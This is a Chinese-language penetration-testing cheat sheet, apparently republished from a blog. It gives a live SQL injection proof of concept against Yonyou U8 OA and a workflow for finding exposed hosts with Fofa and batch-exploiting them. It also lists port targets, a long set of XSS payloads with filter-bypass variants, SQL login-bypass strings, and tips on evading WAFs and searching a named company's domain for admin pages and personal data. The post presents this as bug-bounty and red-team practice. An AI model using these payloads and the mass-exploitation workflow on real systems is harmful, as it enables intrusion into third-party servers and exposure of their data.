if若过滤可使用case when替代
sql注入判断是否有注入的方法
除了使用单引号双引号之外还可以使用,1/2 1/1 1/0判断是否有注入
通过1 and 1=1 --+与 1 and 1=2 --+观察是否有变化后使用盲注
首先选择要挖什么漏洞
比如用友 U8 OA SQL注入漏洞
至于想找什么漏洞信息可去漏洞库找找,如
https://wiki.bylibrary.cn/%E6%BC%8F%E6%B4%9E%E5%BA%93/01-CMS%E6%BC%8F%E6%B4%9E/ActiveMQ/ActiveMQ%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0%E6%BC%8F%E6%B4%9E/
信息收集阶段我们的主要目标是:
1、找到网上公开的漏洞POC
比如POC:
http://IP:PORT/yyoa/common/js/menu/test.jsp?doType=101&S1=(SELECT%20MD5(1))
2、使用找出可能存在该漏洞的IP列表
比如可以用Fofa语句:title=“用友U8-OA”,
可以使用Github开源工具Fofa-collect批量导入列表验证
POC批量验证的脚本在PeiQi文库的POC基础上进一步改写,支持批量导入IP.txt,并导出存在漏洞的URL,保存为urls.txt。
接着使用批量IP反查域名,这时候我们只需要去访问域名,就可以知道这个IP对应的公司。于是我们就可以拿着这些信息去提交漏洞了!
再次强调渗透测试点到为止,提交漏洞只需要跑出数据库名证明漏洞存在,信息安全三要素CIA时刻铭记于心
在拿到新的POC时,仅需替换POC_1()函数,代码稍加改动,就可以实现另一个漏洞的批量挖掘。
四、信息收集常用端口
http://duankou.wlphp.com/
文件共享服务端口
21,22,69,2049.139.389
远程连接服务端口
23,3389.5900,5632
Web应用服务端口
80.443.8080,8089,7001,7002,9090,4848,1352,10000
数据库服务端口
3306,1433,1521,5432,27017,27018,6379,5000
邮件服务端口
25,110,143
网络常见协议端口
53,67,68,161
特殊服务端口
2128,8068,9200,9300,11211,512,513,514,873,3690,50000
21,22,69,2049.139.389,23,3389.5900,5632,80.443.8080,8089,7001,7002,9090,4848,1352,10000,3306,1433,1521,5432,27017,27018,6379,5000,25,110,143,53,67,68,161,2128,8068,9200,9300,11211,512,513,514,873,3690,50000
五、常用测试xss
<script>console%2elog(299792458)%3c<%2fscript>
"><script>console.log(299792458)<%2fscript><"
'><script>console.log(299792458)<%2fscript>
'><script>console.log(299792458)<%2fscript><'
"""><SCRIPT>console.log("xss test")
'''><SCRIPT>console.log("xss test")'
<SCRIPT>console.log(299792458)%3b<%2fSCRIPT>
<<SCRIPT>console.log("xss test")//<</SCRIPT>
<<SCRIPT>console.log(299792458)%2f%2f<<%2fSCRIPT>
<<SCRIPT>console.log(299792458)%2f%2f<<%2fSCRIPT>
<img src%3d"1" onerror%3d"console.log(299792458)">
<img src%3d'1' onerror%3d'console.log(299792458)'
<IMG """><SCRIPT>console.log(299792458)<%2fSCRIPT>">
<IMG '''><SCRIPT>console.log(299792458)<%2fSCRIPT>'>
未成功
<scri<scr<script>ipt>pt>confirm(299792458)%3b<%2fscr<%2fsc<%2fscript>ript>ipt>
<scri<scr<script>ipt>pt>console.log(299792458)%3b<%2fscr<%2fsc<%2fscript>ript>ipt>
<SCRI<script>PT>console.log(299792458)%3b<%2fSCR<%2fscript>IPT>
<scri<script>pt>console.log(299792458)%3b<%2fscr<%2fscript>ipt>
console.log(299792458)%3b
%3bconsole.log(299792458)%3b
'%3bconsole.log(299792458)%3b'
"%3bconsole.log(299792458)%3b"
\"%3bconsole.log(299792458)%3b%2f%2f
<SCR%00IPT>console.log(299792458)<%2fSCR%00IPT>
<SCR%2500IPT>console.log("xss test")</SCR%2500IPT>
<STYLE TYPE%3d"text%2fjavascript">console.log(299792458)%3b<%2fSTYLE>
"onmouseover%3dconsole.log(299792458)%20
"onmouseout%3dconsole.log(299792458)%20
"onmousemove%3dconsole.log(299792458)%20
" οnmοuseοver="console.log(/xss test/)
' οnmοuseοver='console.log(/xss test/)
' οnclick='console.log("xss test")
onload%3d'console.log(299792458)'
onload%3d"console.log(299792458)"
onerror%3d'console.log(299792458)'
onerror%3d"console.log(299792458)"
<IFRAME SRC%3d'f' onerror%3d'console.log(299792458)'><%2fIFRAME>
<IFRAME SRC%3d'f' onerror%3d"console.log(299792458)"><%2fIFRAME>
<IFRAME SRC%3d'f' onerror%3d'console.log("xss test")'></IFRAME>
'''><SCRIPT>console.log(299792458)'
"""><SCRIPT>console.log(299792458)
oonnfocus=javascripscriptt:console.log('xss test')
" oonnfocus=javascriscriptpt:console.log('xss test')>
"><a href=javascript:console.log('xss test')>xss test</a>
六、SQL注入万能密码
1‘ or 1=1–+
1‘or’1’=‘1
“or"a”="a
')or(‘a’='a
")or(“a”="a
‘or 1=1–
“or 1=1–
'or”=’
'or 1=1%00
'or 1=1/
admin’ or 1=1/*文章来源:https://www.toymoban.com/news/detail-638873.html
七、本次攻防演练中得到的几点经验
1、首先用wafw00f-master看网站有没有开WAF,有WAF的情况下就不要去做目录扫描了,本人试过,百分百会被封IP
2、如果开启了WAF的情况下可以使用fofa用以下方法扫敏感信息
domain=“yimazhineng.cn” && (host=“.admin.php” || title=“后台” || body=“管理” || body=“用户名” || body=“密码” || body=“身份证号” || body=“手机号” || body=“注册” || body=“登录”|| body=“改密码”)
3、使用https://whatcms.org/检测网站是不是用了CMS,以及CMS版本号,据此可以到网上找对应版本的历史漏洞找教程进行渗透文章来源地址https://www.toymoban.com/news/detail-638873.html
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